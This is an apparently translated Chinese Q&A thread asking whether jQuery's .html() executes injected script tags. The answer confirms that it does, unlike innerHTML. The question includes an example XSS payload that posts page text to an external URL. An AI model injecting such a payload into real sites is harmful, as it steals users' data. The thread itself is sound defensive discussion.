2

可能重复:
html() vs innerHTML jquery/javascript & XSS 攻击

jQuery.html() 危险吗?

$("#id").html("<span>"+ variable + "</span>");

与上面的示例一样,如果变量将具有以下值:

"<script> $.post("external_url.php", {sesitivedata= $("#someElement").text()}, function() {} ) </script>"

脚本会被执行吗?如果是这样,有什么方法可以让变量包含普通的 html 标签而不是脚本?

编辑:将脚本标签添加到字符串

4

1 回答 1

4

是的,该脚本将被执行。

http://jsfiddle.net/9ybUJ/2/

隐式.html()查找任何脚本元素并评估它们。这与.innerHTML从不执行 html 中的脚本相反。

于 2012-08-17T16:55:20.643 回答